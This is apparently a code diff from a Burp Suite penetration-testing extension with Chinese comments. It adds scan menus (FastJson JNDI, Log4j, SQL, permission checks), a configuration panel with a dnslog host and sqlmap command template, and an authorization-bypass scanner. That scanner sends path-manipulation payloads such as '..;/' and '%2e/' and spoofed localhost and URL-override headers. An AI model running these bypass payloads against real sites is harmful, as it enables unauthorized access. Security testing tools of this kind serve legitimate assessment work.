FastjsonUI().CheckEchoVul(responses); + } + }); + thread.start(); + + } + }); + return this; + } + + public JMenuItem FastjsonJNDIMenu(IHttpRequestResponse[] responses) { + this.setText("^_^ FastJson JNDI Check"); + this.addActionListener(new ActionListener() { + public void actionPerformed(java.awt.event.ActionEvent evt) { + Thread thread = new Thread(new Runnable() { + @Override + public void run() { + new FastjsonUI().CheckJNDIVul(responses); + } + }); + thread.start(); + + } + }); + return this; + } + + public JMenuItem FastjsonVersionMenu(IHttpRequestResponse[] responses) { + this.setText("^_^ FastJson Version Check"); + this.addActionListener(new ActionListener() { + public void actionPerformed(java.awt.event.ActionEvent evt) { + Thread thread = new Thread(new Runnable() { + @Override + public void run() { + new FastjsonUI().CheckVersion(responses); + } + }); + thread.start(); + + } + }); + return this; + } +} diff --git a/src/main/java/burp/menu/Log4jMenu.java b/src/main/java/burp/menu/Log4jMenu.java new file mode 100644 index 0000000..f0475d6 --- /dev/null +++ b/src/main/java/burp/menu/Log4jMenu.java @@ -0,0 +1,25 @@ +package burp.menu; + +import burp.IHttpRequestResponse; +import burp.ui.Log4jUI; + +import javax.swing.*; +import java.awt.event.ActionListener; + +public class Log4jMenu extends JMenuItem { + public Log4jMenu(IHttpRequestResponse[] requestResponses) { + this.setText("^_^ Log4j Check"); + this.addActionListener(new ActionListener() { + public void actionPerformed(java.awt.event.ActionEvent evt) { + Thread thread = new Thread(new Runnable() { + @Override + public void run() { + Log4jUI.Check(requestResponses); + } + }); + thread.start(); + + } + }); + } +} diff --git a/src/main/java/burp/menu/NucleiMenu.java b/src/main/java/burp/menu/NucleiMenu.java new file mode 100644 index 0000000..36ef371 --- /dev/null +++ b/src/main/java/burp/menu/NucleiMenu.java @@ -0,0 +1,25 @@ +package burp.menu; + +import burp.IHttpRequestResponse; +import burp.utils.Nuclei; + +import javax.swing.*; +import java.awt.event.ActionListener; + +public class NucleiMenu extends JMenuItem { + public NucleiMenu(IHttpRequestResponse[] requestResponses) { + this.setText("^_^ Nuclei Template"); + this.addActionListener(new ActionListener() { + public void actionPerformed(java.awt.event.ActionEvent evt) { + Thread thread = new Thread(new Runnable() { + @Override + public void run() { + Nuclei.Generate(requestResponses); + } + }); + thread.start(); + + } + }); + } +} diff --git a/src/main/java/burp/menu/PermMenu.java b/src/main/java/burp/menu/PermMenu.java new file mode 100644 index 0000000..f09d03d --- /dev/null +++ b/src/main/java/burp/menu/PermMenu.java @@ -0,0 +1,25 @@ +package burp.menu; + +import burp.IHttpRequestResponse; +import burp.ui.PermUI; + +import javax.swing.*; +import java.awt.event.ActionListener; + +public class PermMenu extends JMenuItem { + public PermMenu(IHttpRequestResponse[] requestResponses) { + this.setText("^_^ Perm Check"); + this.addActionListener(new ActionListener() { + public void actionPerformed(java.awt.event.ActionEvent evt) { + Thread thread = new Thread(new Runnable() { + @Override + public void run() { + PermUI.Check(requestResponses); + } + }); + thread.start(); + + } + }); + } +} diff --git a/src/main/java/burp/menu/SqlMenu.java b/src/main/java/burp/menu/SqlMenu.java new file mode 100644 index 0000000..078ee38 --- /dev/null +++ b/src/main/java/burp/menu/SqlMenu.java @@ -0,0 +1,25 @@ +package burp.menu; + +import burp.IHttpRequestResponse; +import burp.ui.SqlUI; + +import javax.swing.*; +import java.awt.event.ActionListener; + +public class SqlMenu extends JMenuItem { + public SqlMenu(IHttpRequestResponse[] requestResponses) { + this.setText("^_^ Sql Check"); + this.addActionListener(new ActionListener() { + public void actionPerformed(java.awt.event.ActionEvent evt) { + Thread thread = new Thread(new Runnable() { + @Override + public void run() { + SqlUI.Check(requestResponses); + } + }); + thread.start(); + + } + }); + } +} diff --git a/src/main/java/burp/ui/AuthUI.java b/src/main/java/burp/ui/AuthUI.java new file mode 100644 index 0000000..fa45f72 --- /dev/null +++ b/src/main/java/burp/ui/AuthUI.java @@ -0,0 +1,431 @@ +package burp.ui; + +import burp.*; +import burp.bean.AuthBean; +import burp.utils.Utils; +import com.intellij.uiDesigner.core.GridConstraints; +import com.intellij.uiDesigner.core.GridLayoutManager; +import com.intellij.uiDesigner.core.Spacer; +import org.springframework.util.DigestUtils; + +import javax.swing.*; +import javax.swing.table.AbstractTableModel; +import javax.swing.table.TableModel; +import java.awt.*; +import java.awt.event.ActionEvent; +import java.net.MalformedURLException; +import java.net.URL; +import java.util.ArrayList; +import java.util.Arrays; +import java.util.List; +import java.util.Objects; + +import static burp.utils.Utils.getSuffix; + +public class AuthUI implements UIHandler, IMessageEditorController { + private static final List log = new ArrayList<>(); + private static JTable authTable; + // 去重存放的列表 + private static final List parameterList = new ArrayList<>(); + private static final List urlHashList = new ArrayList<>(); + private JPanel panel; + private JPanel authPanel; + private JButton authRefershButton; + private JButton authClearButton; + private JSplitPane authSPlitePane; + private JTabbedPane authtabbedPane1; + private JTabbedPane authtabbedPane2; + private JScrollPane authJScrollPane; + private IHttpRequestResponse currentlyDisplayedItem; + private IMessageEditor HRequestTextEditor; + private IMessageEditor HResponseTextEditor; + + // 检测方法 + public static void Check(IHttpRequestResponse[] requestResponses) { + // 检查是否存在权限绕过 + IHttpRequestResponse baseRequestResponse = requestResponses[0]; + IRequestInfo analyzeRequest = Utils.helpers.analyzeRequest(baseRequestResponse); + String method = analyzeRequest.getMethod(); + String path = analyzeRequest.getUrl().getPath(); + String request = Utils.helpers.bytesToString(baseRequestResponse.getRequest()); + String url = analyzeRequest.getUrl().toString(); + + // url 中为静态资源,直接返回 + List suffix = getSuffix(); + for (String s : suffix) { + if (url.endsWith(s)) { + return; + } + } + + // 对url进行hash去重 + List paraLists = analyzeRequest.getParameters(); + for (IParameter paraList : paraLists) { + String paraName = paraList.getName(); + parameterList.add(paraName); + } + if (!checkUrlHash(method + url + parameterList.toString())) { + return; + } + + List headers = Utils.helpers.analyzeRequest(baseRequestResponse).getHeaders(); + String urlWithoutQuery = ""; + try { + URL url1 = new URL(url); + String protocol = url1.getProtocol(); // 获取协议部分,这里是 http + String host = url1.getHost(); // 获取主机名部分,这里是 192.168.11.3 + int port = url1.getPort(); // 获取端口号部分,这里是 7001 + urlWithoutQuery = protocol + "://" + host + ":" + port; + } catch (MalformedURLException e) { + throw new RuntimeException(e); + } + List authRequests = new ArrayList<>(); + authRequests.addAll(prefix(method, path)); + authRequests.addAll(suffix(method, path)); + + if (Objects.equals(method, "GET") || Objects.equals(method, "POST")) { + for (AuthBean value : authRequests) { + if (Objects.equals(value.getMethod(), "GET")) { + String new_request = request.replaceFirst(path, value.getPath()); + IHttpRequestResponse response = Utils.callbacks.makeHttpRequest(baseRequestResponse.getHttpService(), Utils.helpers.stringToBytes(new_request)); + String requrl = urlWithoutQuery + value.getPath(); + String statusCode = String.valueOf(Utils.helpers.analyzeResponse(response.getResponse()).getStatusCode()); + String length = String.valueOf(response.getResponse().length); + add(method, requrl, statusCode, length, response); + } else if (Objects.equals(value.getMethod(), "POST")) { + String new_request = request.replaceFirst(path, value.getPath()); + IHttpRequestResponse response = Utils.callbacks.makeHttpRequest(baseRequestResponse.getHttpService(), Utils.helpers.stringToBytes(new_request)); + String requrl = urlWithoutQuery + value.getPath(); + String statusCode = String.valueOf(Utils.helpers.analyzeResponse(response.getResponse()).getStatusCode()); + String length = String.valueOf(response.getResponse().length); + add(method, requrl, statusCode, length, response); + } + } + // 增加header payload 测试 + List testHeaders = headers(method, url); + byte[] byte_Request = baseRequestResponse.getRequest(); + int bodyOffset = analyzeRequest.getBodyOffset(); + int len = byte_Request.length; + byte[] body = Arrays.copyOfRange(byte_Request, bodyOffset, len); + changeHeaders(headers, body, method, url, baseRequestResponse); + for (AuthBean header : testHeaders) { + headers.add(header.getHeaders()); + } + byte[] message = Utils.helpers.buildHttpMessage(headers, body); + IHttpRequestResponse response = Utils.callbacks.makeHttpRequest(baseRequestResponse.getHttpService(), message); + // 发送请求 + String statusCode = String.valueOf(Utils.helpers.analyzeResponse(response.getResponse()).getStatusCode()); + String length = String.valueOf(response.getResponse().length); + + add(method, url, statusCode, length, response); + } + } + + // 对url进行hash去重 + public static boolean checkUrlHash(String url) { + parameterList.clear(); + String md5 = DigestUtils.md5DigestAsHex(url.getBytes()); + if (urlHashList.contains(md5)) { + return false; + } else { + urlHashList.add(md5); + return true; + } + } + + // 添加后缀 + public static List suffix(String method, String path) { + if (path.startsWith("//")) { + path = "/" + path.substring(2).replaceAll("/+", "/"); + } + List authRequests = new ArrayList<>(); + if (path.endsWith("/")) { + path = path.substring(0, path.length() - 1); + List payloads = Arrays.asList(path + "%2e/", path + "/.", "./" + path + "/./", path + "%20/", + "/%20" + path + "%20/", path + "..;/", path + "?", path + "??", "/" + path + "//", + path + "/", path + "/.randomstring"); + for (String payload : payloads) { + if ("GET".equals(method)) { + authRequests.add(new AuthBean("GET", payload, "")); + } else if ("POST".equals(method)) { + authRequests.add(new AuthBean("POST", payload, "")); + } + } + } else { + List payloads = Arrays.asList(path + "/%2e", path + "/%20", path + "%0d%0a", path + ".json", path + "/.randomstring"); + + for (String payload : payloads) { + if ("GET".equals(method)) { + authRequests.add(new AuthBean("GET", payload, "")); + } else if ("POST".equals(method)) { + authRequests.add(new AuthBean("POST", payload, "")); + } + } + } + return authRequests; + } + + // 添加前缀 + public static List prefix(String method, String path) { + if (path.startsWith("//")) { + path = "/" + path.substring(2).replaceAll("/+", "/"); + } + List authRequests = new ArrayList<>(); + String[] prefix = {";/", ".;/", "images/..;/", ";a/", "%23/../"}; + for (String s : prefix) { + // 将路径按 / 分割为多个部分 + String[] pathParts = path.split("/"); + for (int i = 1; i < pathParts.length; i++) { + // 输出从第二个部分到最后一个部分 + String[] subPathParts = Arrays.copyOfRange(pathParts, i, pathParts.length); + String[] prePathParts = Arrays.copyOfRange(pathParts, 1, i); + if (prePathParts.length > 0) { + if ("GET".equals(method)) { + authRequests.add(new AuthBean("GET", "/" + String.join("/", prePathParts) + "/" + s + String.join("/", subPathParts), "")); + } else if ("POST".equals(method)) { + authRequests.add(new AuthBean("POST", "/" + String.join("/", prePathParts) + "/" + s + String.join("/", subPathParts), "")); + } + } else { + if ("GET".equals(method)) { + authRequests.add(new AuthBean("GET", "/" + s + String.join("/", subPathParts), "")); + } else if ("POST".equals(method)) { + authRequests.add(new AuthBean("POST", "/" + s + String.join("/", subPathParts), "")); + } + } + } + } + + return authRequests; + } + + // 添加头部 + public static List headers(String method, String url) { + List authRequests = new ArrayList<>(); + List payloads = Arrays.asList("Access-Control-Allow-Origin: 127.0.0.1", "Base-Url: " + url, "CF-Connecting-IP: 127.0.0.1", + "CF-Connecting_IP: 127.0.0.1", "Client-IP: 127.0.0.1", "Cluster-Client-IP: 127.0.0.1", "Destination: 127.0.0.1", + "Forwarded-For-Ip: 127.0.0.1", "Forwarded-For: 127.0.0.1", "Forwarded-Host: 127.0.0.1", "Forwarded: 127.0.0.1", + "Http-Url: " + url, "Origin: 127.0.0.1", "Profile: 127.0.0.1", "Proxy-Host: 127.0.0.1", + "Proxy-Url: " + url, "Proxy: 127.0.0.1", "Real-Ip: 127.0.0.1", "Redirect: 127.0.0.1", "Referer: " + url, + "Request-Uri: 127.0.0.1", "True-Client-IP: 127.0.0.1", + "Uri: " + url, "Url: " + url, "X-Arbitrary: 127.0.0.1", "X-Client-IP: 127.0.0.1", + "X-Custom-IP-Authorization: 127.0.0.1", "X-Forward-For: 127.0.0.1", + "X-Forward: 127.0.0.1", "X-Forwarded-By: 127.0.0.1", + "X-Forwarded-For-Original: 127.0.0.1", "X-Forwarded-For: 127.0.0.1", + "X-Forwarded-Host: 127.0.0.1", "X-Forwarded-Proto: 127.0.0.1", + "X-Forwarded-Server: 127.0.0.1", "X-Forwarded: 127.0.0.1", + "X-Forwarder-For: 127.0.0.1", "X-Host: 127.0.0.1", + "X-HTTP-DestinationURL: " + url, "X-HTTP-Host-Override: 127.0.0.1", + "X-Original-Remote-Addr: 127.0.0.1", "X-Original-URL: " + url, "X-Originally-Forwarded-For: 127.0.0.1", + "X-Originating-IP: 127.0.0.1", "X-Proxy-Url: " + url, "X-ProxyUser-Ip: 127.0.0.1", "X-Real-IP: 127.0.0.1", + "X-Real-Ip: 127.0.0.1", "X-Referrer: 127.0.0.1", "X-Remote-Addr: 127.0.0.1", "X-Remote-IP: 127.0.0.1", + "X-Rewrite-URL: " + url, "X-True-IP: 127.0.0.1", "X-WAP-Profile: 127.0.0.1"); + + for (String payload : payloads) { + if ("GET".equals(method)) { + authRequests.add(new AuthBean("GET", "", payload)); + } else if ("POST".equals(method)) { + authRequests.add(new AuthBean("POST", "", payload)); + } + } + return authRequests; + } + + // 添加accept + // https://mp.weixin.qq.com/s/6YMDu6FTLa_9s6_mewrp0A + public static void changeHeaders(List headers, byte[] body, String method, String url, IHttpRequestResponse baseRequestResponse) { + // 判断headers立马是否有Accept,如果有则删除 + headers.removeIf(header -> header.startsWith("Accept:")); + headers.add("Accept: application/json, text/javascript, /; q=0.01"); + byte[] message = Utils.helpers.buildHttpMessage(headers, body); + IHttpRequestResponse response = Utils.callbacks.makeHttpRequest(baseRequestResponse.getHttpService(), message); + // 发送请求 + String statusCode = String.valueOf(Utils.helpers.analyzeResponse(response.getResponse()).getStatusCode()); + String length = String.valueOf(response.getResponse().length); + add(method, url, statusCode, length, response); + } + + private static void add(String method, String url, String statuscode, String length, IHttpRequestResponse baseRequestResponse) { + synchronized (log) { + int id = log.size(); + log.add(new LogEntry(id, method, url, statuscode, length, baseRequestResponse)); + authTable.updateUI(); + } + } + + private void setupUI() { + + panel = new JPanel(); + panel.setLayout(new GridLayoutManager(1, 1, new Insets(0, 0, 0, 0), -1, -1)); + authPanel = new JPanel(); + authPanel.setLayout(new GridLayoutManager(2, 4, new Insets(0, 0, 0, 0), -1, -1)); + panel.add(authPanel, new GridConstraints(0, 0, 1, 1, GridConstraints.ANCHOR_CENTER, GridConstraints.FILL_BOTH, GridConstraints.SIZEPOLICY_CAN_SHRINK | GridConstraints.SIZEPOLICY_CAN_GROW, GridConstraints.SIZEPOLICY_CAN_SHRINK | GridConstraints.SIZEPOLICY_CAN_GROW, null, null, null, 0, false)); + authRefershButton = new JButton(); + authRefershButton.setText("刷新"); + authPanel.add(authRefershButton, new GridConstraints(0, 0, 1, 1, GridConstraints.ANCHOR_CENTER, GridConstraints.FILL_HORIZONTAL, GridConstraints.SIZEPOLICY_CAN_SHRINK | GridConstraints.SIZEPOLICY_CAN_GROW, GridConstraints.SIZEPOLICY_FIXED, null, null, null, 0, false)); + final Spacer spacer1 = new Spacer(); + authPanel.add(spacer1, new GridConstraints(0, 3, 1, 1, GridConstraints.ANCHOR_CENTER, GridConstraints.FILL_HORIZONTAL, GridConstraints.SIZEPOLICY_WANT_GROW, 1, null, null, null, 0, false)); + authClearButton = new JButton(); + authClearButton.setText("清空数据"); + authPanel.add(authClearButton, new GridConstraints(0, 1, 1, 1, GridConstraints.ANCHOR_CENTER, GridConstraints.FILL_HORIZONTAL, GridConstraints.SIZEPOLICY_CAN_SHRINK | GridConstraints.SIZEPOLICY_CAN_GROW, GridConstraints.SIZEPOLICY_FIXED, null, null, null, 0, false)); + final JSplitPane splitPane1 = new JSplitPane(); + splitPane1.setDividerSize(2); + splitPane1.setOrientation(JSplitPane.VERTICAL_SPLIT); + authPanel.add(splitPane1, new GridConstraints(1, 0, 1, 4, GridConstraints.ANCHOR_CENTER, GridConstraints.FILL_BOTH, GridConstraints.SIZEPOLICY_CAN_SHRINK | GridConstraints.SIZEPOLICY_CAN_GROW, GridConstraints.SIZEPOLICY_CAN_SHRINK | GridConstraints.SIZEPOLICY_CAN_GROW, null, new Dimension(200, 200), null, 0, false)); + authSPlitePane = new JSplitPane(); + authSPlitePane.setDividerSize(2); + authSPlitePane.setResizeWeight(0.5); + splitPane1.setRightComponent(authSPlitePane); + authtabbedPane1 = new JTabbedPane(); + authSPlitePane.setLeftComponent(authtabbedPane1); + HRequestTextEditor = Utils.callbacks.createMessageEditor(AuthUI.this, true); + HResponseTextEditor = Utils.callbacks.createMessageEditor(AuthUI.this, false); + authtabbedPane1.addTab("request", HRequestTextEditor.getComponent()); + authtabbedPane2 = new JTabbedPane(); + authSPlitePane.setRightComponent(authtabbedPane2); + authtabbedPane2.addTab("response", HResponseTextEditor.getComponent()); + authJScrollPane = new JScrollPane(); + splitPane1.setLeftComponent(authJScrollPane); + AuthModel authModel = new AuthModel(); + authTable = new URLTable(authModel); + authJScrollPane.setViewportView(authTable); + } + + private void setupData() { + // 刷新按钮 + authRefershButton.addActionListener(new AbstractAction() { + @Override + public void actionPerformed(ActionEvent e) { + authTable.updateUI(); + } + }); + // 清空按钮 + authClearButton.addActionListener(new AbstractAction() { + @Override + public void actionPerformed(ActionEvent e) { + log.clear(); + HRequestTextEditor.setMessage(new byte[0], true); + HResponseTextEditor.setMessage(new byte[0], false); + authTable.updateUI(); + } + }); + + } + + @Override + public IHttpService getHttpService() { + return currentlyDisplayedItem.getHttpService(); + } + + @Override + public byte[] getRequest() { + return currentlyDisplayedItem.getRequest(); + } + + @Override + public byte[] getResponse() { + return currentlyDisplayedItem.getResponse(); + } + + @Override + public void init() { + setupUI(); + setupData(); + } + + @Override + public JPanel getPanel(IBurpExtenderCallbacks callbacks) { + return panel; + } + + @Override + public String getTabName() { + return "权限绕过"; + } + + private static class AuthModel extends AbstractTableModel { + + @Override + public int getRowCount() { + return log.size(); + } + + @Override + public int getColumnCount() { + return 5; + } + + @Override + public Object getValueAt(int rowIndex, int columnIndex) { + switch (columnIndex) { + case 0: + return log.get(rowIndex).id; + case 1: + return log.get(rowIndex).method; + case 2: + return log.get(rowIndex).url; + case 3: + return log.get(rowIndex).status; + case 4: + return log.get(rowIndex).length; + default: + return null; + } + } + + @Override + public String getColumnName(int column) { + switch (column) { + case 0: + return "id"; + case 1: + return "method"; + case 2: + return "url"; + case 3: + return "status"; + case 4: + return "length"; + default: + return null; + } + } + } + + private static class LogEntry { + private final int id; + private final String method; + private final String url; + private final String status; + private final String length; + private final IHttpRequestResponse requestResponse; + + + public LogEntry(int id, String method, String url, String status, String length, IHttpRequestResponse requestResponse) { + this.id = id; + this.method = method; + this.url = url; + this.status = status; + this.length = length; + this.requestResponse = requestResponse; + } + } + + private class URLTable extends JTable { + public URLTable(TableModel dm) { + super(dm); + } + + @Override + public void changeSelection(int row, int col, boolean toggle, boolean extend) { + LogEntry logEntry = log.get(row); + HRequestTextEditor.setMessage(logEntry.requestResponse.getRequest(), true); + if (logEntry.requestResponse.getResponse() == null) { + HResponseTextEditor.setMessage(new byte[0], false); + } else { + HResponseTextEditor.setMessage(logEntry.requestResponse.getResponse(), false); + } + currentlyDisplayedItem = logEntry.requestResponse; + super.changeSelection(row, col, toggle, extend); + } + } +} diff --git a/src/main/java/burp/ui/ConfigUI.java b/src/main/java/burp/ui/ConfigUI.java new file mode 100644 index 0000000..6c07f31 --- /dev/null +++ b/src/main/java/burp/ui/ConfigUI.java @@ -0,0 +1,275 @@ +package burp.ui; + +import burp.IBurpExtenderCallbacks; +import burp.bean.ConfigBean; +import com.intellij.uiDesigner.core.GridConstraints; +import com.intellij.uiDesigner.core.GridLayoutManager; +import com.intellij.uiDesigner.core.Spacer; + +import javax.swing.*; +import javax.swing.table.AbstractTableModel; +import java.awt.*; +import java.awt.event.ActionEvent; +import java.util.ArrayList; +import java.util.List; + +import static burp.dao.ConfigDao.*; + +public class ConfigUI implements UIHandler { + private static final List data = new ArrayList<>(); + public AbstractTableModel dataModel = new ConfigModel(); + private JPanel panel; + private JPanel configPanel; + private JLabel dnslogLabel; + private JTextField dnslogTextField; + private JLabel ipLabel; + private JTextField ipTextField; + private JLabel toolNameLabel; + private JTextField toolNameTextField; + private JButton toolButton; + private JTextField toolArgvTextField; + private JButton ipButton; + private JButton dnslogButton; + private JLabel toolArgvLabel; + private JButton refershButton; + private JButton deleteSelectButton; + private JButton clearHostButton; + private JTable configTable; + private JScrollPane configPanelDownJscrollPanel; + private JPanel configPanelTop; + private JPanel configPanelDown; + + private void setupUI() { + panel = new JPanel(); + panel.setLayout(new GridLayoutManager(1, 1, new Insets(0, 0, 0, 0), -1, -1)); + configPanel = new JPanel(); + configPanel.setLayout(new BorderLayout(0, 0)); + panel.add(configPanel, new GridConstraints(0, 0, 1, 1, GridConstraints.ANCHOR_CENTER, GridConstraints.FILL_BOTH, GridConstraints.SIZEPOLICY_CAN_SHRINK | GridConstraints.SIZEPOLICY_CAN_GROW, GridConstraints.SIZEPOLICY_CAN_SHRINK | GridConstraints.SIZEPOLICY_CAN_GROW, null, null, null, 0, false)); + configPanelTop = new JPanel(); + configPanelTop.setLayout(new GridLayoutManager(4, 8, new Insets(0, 0, 0, 0), -1, -1)); + configPanel.add(configPanelTop, BorderLayout.NORTH); + dnslogLabel = new JLabel(); + dnslogLabel.setText("dnslog"); + configPanelTop.add(dnslogLabel, new GridConstraints(0, 0, 1, 1, GridConstraints.ANCHOR_CENTER, GridConstraints.FILL_NONE, GridConstraints.SIZEPOLICY_FIXED, GridConstraints.SIZEPOLICY_FIXED, null, null, null, 0, false)); + final Spacer spacer1 = new Spacer(); + configPanelTop.add(spacer1, new GridConstraints(0, 7, 1, 1, GridConstraints.ANCHOR_CENTER, GridConstraints.FILL_HORIZONTAL, GridConstraints.SIZEPOLICY_WANT_GROW, 1, null, null, null, 0, false)); + dnslogTextField = new JTextField(); + configPanelTop.add(dnslogTextField, new GridConstraints(0, 1, 1, 3, GridConstraints.ANCHOR_WEST, GridConstraints.FILL_HORIZONTAL, GridConstraints.SIZEPOLICY_WANT_GROW, GridConstraints.SIZEPOLICY_FIXED, null, new Dimension(150, -1), null, 0, false)); + ipLabel = new JLabel(); + ipLabel.setText("ip"); + configPanelTop.add(ipLabel, new GridConstraints(1, 0, 1, 1, GridConstraints.ANCHOR_CENTER, GridConstraints.FILL_NONE, GridConstraints.SIZEPOLICY_FIXED, GridConstraints.SIZEPOLICY_FIXED, null, null, null, 0, false)); + ipTextField = new JTextField(); + configPanelTop.add(ipTextField, new GridConstraints(1, 1, 1, 3, GridConstraints.ANCHOR_WEST, GridConstraints.FILL_HORIZONTAL, GridConstraints.SIZEPOLICY_WANT_GROW, GridConstraints.SIZEPOLICY_FIXED, null, new Dimension(150, -1), null, 0, false)); + toolNameLabel = new JLabel(); + toolNameLabel.setText("工具名称"); + configPanelTop.add(toolNameLabel, new GridConstraints(2, 0, 1, 1, GridConstraints.ANCHOR_CENTER, GridConstraints.FILL_NONE, GridConstraints.SIZEPOLICY_FIXED, GridConstraints.SIZEPOLICY_FIXED, null, null, null, 0, false)); + toolNameTextField = new JTextField(); + configPanelTop.add(toolNameTextField, new GridConstraints(2, 1, 1, 3, GridConstraints.ANCHOR_WEST, GridConstraints.FILL_HORIZONTAL, GridConstraints.SIZEPOLICY_WANT_GROW, GridConstraints.SIZEPOLICY_FIXED, null, new Dimension(150, -1), null, 0, false)); + toolButton = new JButton(); + toolButton.setText("保存"); + configPanelTop.add(toolButton, new GridConstraints(2, 6, 1, 1, GridConstraints.ANCHOR_CENTER, GridConstraints.FILL_HORIZONTAL, GridConstraints.SIZEPOLICY_CAN_SHRINK | GridConstraints.SIZEPOLICY_CAN_GROW, GridConstraints.SIZEPOLICY_FIXED, null, null, null, 0, false)); + toolArgvTextField = new JTextField(); + configPanelTop.add(toolArgvTextField, new GridConstraints(2, 5, 1, 1, GridConstraints.ANCHOR_WEST, GridConstraints.FILL_HORIZONTAL, GridConstraints.SIZEPOLICY_WANT_GROW, GridConstraints.SIZEPOLICY_FIXED, null, new Dimension(150, -1), null, 0, false)); + ipButton = new JButton(); + ipButton.setText("保存"); + configPanelTop.add(ipButton, new GridConstraints(1, 4, 1, 1, GridConstraints.ANCHOR_CENTER, GridConstraints.FILL_HORIZONTAL, GridConstraints.SIZEPOLICY_CAN_SHRINK | GridConstraints.SIZEPOLICY_CAN_GROW, GridConstraints.SIZEPOLICY_FIXED, null, null, null, 0, false)); + dnslogButton = new JButton(); + dnslogButton.setText("保存"); + configPanelTop.add(dnslogButton, new GridConstraints(0, 4, 1, 1, GridConstraints.ANCHOR_CENTER, GridConstraints.FILL_HORIZONTAL, GridConstraints.SIZEPOLICY_CAN_SHRINK | GridConstraints.SIZEPOLICY_CAN_GROW, GridConstraints.SIZEPOLICY_FIXED, null, null, null, 0, false)); + toolArgvLabel = new JLabel(); + toolArgvLabel.setText("工具参数"); + configPanelTop.add(toolArgvLabel, new GridConstraints(2, 4, 1, 1, GridConstraints.ANCHOR_CENTER, GridConstraints.FILL_NONE, GridConstraints.SIZEPOLICY_FIXED, GridConstraints.SIZEPOLICY_FIXED, null, null, null, 0, false)); + refershButton = new JButton(); + refershButton.setText("刷新"); + configPanelTop.add(refershButton, new GridConstraints(3, 0, 1, 1, GridConstraints.ANCHOR_CENTER, GridConstraints.FILL_HORIZONTAL, GridConstraints.SIZEPOLICY_CAN_SHRINK | GridConstraints.SIZEPOLICY_CAN_GROW, GridConstraints.SIZEPOLICY_FIXED, null, null, null, 0, false)); + deleteSelectButton = new JButton(); + deleteSelectButton.setText("删除选中"); + configPanelTop.add(deleteSelectButton, new GridConstraints(3, 1, 1, 1, GridConstraints.ANCHOR_CENTER, GridConstraints.FILL_HORIZONTAL, GridConstraints.SIZEPOLICY_CAN_SHRINK | GridConstraints.SIZEPOLICY_CAN_GROW, GridConstraints.SIZEPOLICY_FIXED, null, null, null, 0, false)); + clearHostButton = new JButton(); + clearHostButton.setText("清空host过滤"); + configPanelTop.add(clearHostButton, new GridConstraints(3, 2, 1, 1, GridConstraints.ANCHOR_CENTER, GridConstraints.FILL_HORIZONTAL, GridConstraints.SIZEPOLICY_CAN_SHRINK | GridConstraints.SIZEPOLICY_CAN_GROW, GridConstraints.SIZEPOLICY_FIXED, null, null, null, 0, false)); + configPanelDown = new JPanel(); + configPanelDown.setLayout(new GridLayoutManager(1, 1, new Insets(0, 0, 0, 0), -1, -1)); + configPanel.add(configPanelDown, BorderLayout.CENTER); + configPanelDownJscrollPanel = new JScrollPane(); + configPanelDown.add(configPanelDownJscrollPanel, new GridConstraints(0, 0, 1, 1, GridConstraints.ANCHOR_CENTER, GridConstraints.FILL_BOTH, GridConstraints.SIZEPOLICY_CAN_SHRINK | GridConstraints.SIZEPOLICY_WANT_GROW, GridConstraints.SIZEPOLICY_CAN_SHRINK | GridConstraints.SIZEPOLICY_WANT_GROW, null, null, null, 0, false)); + configTable = new JTable(dataModel); + configPanelDownJscrollPanel.setViewportView(configTable); + } + + private void setupData() { + ConfigBean dnsconfig = getConfig("config", "dnslog"); + dnslogTextField.setText(dnsconfig.getValue()); + + ConfigBean ipconfig = getConfig("config", "ip"); + ipTextField.setText(ipconfig.getValue()); + + toolNameTextField.setText("sqlmap"); + toolArgvTextField.setText("python sqlmap.py -r {request} -u {url} -h {host}"); + + List toolParam = getToolConfig(); + for (ConfigBean config : toolParam) { + addData(config.getType(), config.getValue()); + } + + refershButton.addActionListener(new AbstractAction() { + @Override + public void actionPerformed(ActionEvent e) { + List toolParam = getToolConfig(); + data.clear(); + for (ConfigBean config : toolParam) { + addData(config.getType(), config.getValue()); + } + dataModel.fireTableDataChanged(); + } + }); + + deleteSelectButton.addActionListener(new AbstractAction() { + @Override + public void actionPerformed(ActionEvent e) { + + int[] selectedRows = configTable.getSelectedRows(); + for (int i = selectedRows.length - 1; i >= 0; i--) { + int selectedRow = selectedRows[i]; + String type = (String) configTable.getValueAt(selectedRow, 1); + deleteToolConfig(type); + data.remove(selectedRow); + dataModel.fireTableRowsDeleted(selectedRow, selectedRow); + dataModel.fireTableDataChanged(); + } + } + }); + clearHostButton.addActionListener(new AbstractAction() { + @Override + public void actionPerformed(ActionEvent e) { + // mark + // 弹出提示框 + JOptionPane.showMessageDialog(null, "功能未实现", "提示", JOptionPane.INFORMATION_MESSAGE); + } + }); + + dnslogButton.addActionListener(new AbstractAction() { + @Override + public void actionPerformed(ActionEvent e) { + String module = "config"; + String dns = dnslogTextField.getText(); + ConfigBean config = new ConfigBean(module, "dnslog", dns); + saveConfig(config); + // 弹窗提示 + JOptionPane.showMessageDialog(null, "保存成功", "提示", JOptionPane.INFORMATION_MESSAGE); + } + }); + + ipButton.addActionListener(new AbstractAction() { + @Override + public void actionPerformed(ActionEvent e) { + String module = "config"; + String ip = ipTextField.getText(); + ConfigBean config = new ConfigBean(module, "ip", ip); + saveConfig(config); + JOptionPane.showMessageDialog(null, "保存成功", "提示", JOptionPane.INFORMATION_MESSAGE); + } + }); + + toolButton.addActionListener(new AbstractAction() { + @Override + public void actionPerformed(ActionEvent e) { + String module = "tool"; + String type = toolNameTextField.getText(); + String value = toolArgvTextField.getText(); + ConfigBean config = new ConfigBean(module, type, value); + saveConfig(config); + addData(type, value); + JOptionPane.showMessageDialog(null, "保存成功", "提示", JOptionPane.INFORMATION_MESSAGE); + } + }); + + + } + + // 添加数据 + public void addData(String key, String value) { + synchronized (data) { + data.add(new LogEntry(data.size() + 1, key, value)); + dataModel.fireTableDataChanged(); + dataModel.fireTableRowsInserted(data.size() - 1, data.size() - 1); + } + } + + @Override + public void init() { + setupUI(); + setupData(); + } + + @Override + public JPanel getPanel(IBurpExtenderCallbacks callbacks) { + return panel; + } + + @Override + public String getTabName() { + return "配置"; + } + + // 表格模型 + static class ConfigModel extends AbstractTableModel { + + @Override + public int getRowCount() { + return data.size(); + } + + @Override + public int getColumnCount() { + return 3; + } + + @Override + public Object getValueAt(int rowIndex, int columnIndex) { + LogEntry dataEntry = data.get(rowIndex); + switch (columnIndex) { + case 0: + return dataEntry.id; + case 1: + return dataEntry.key; + case 2: + return dataEntry.value; + default: + return null; + } + } + + @Override + public String getColumnName(int column) { + switch (column) { + case 0: + return "id"; + case 1: + return "key"; + case 2: + return "value"; + default: + return null; + } + } + } + + // 表格实体类 + public static class 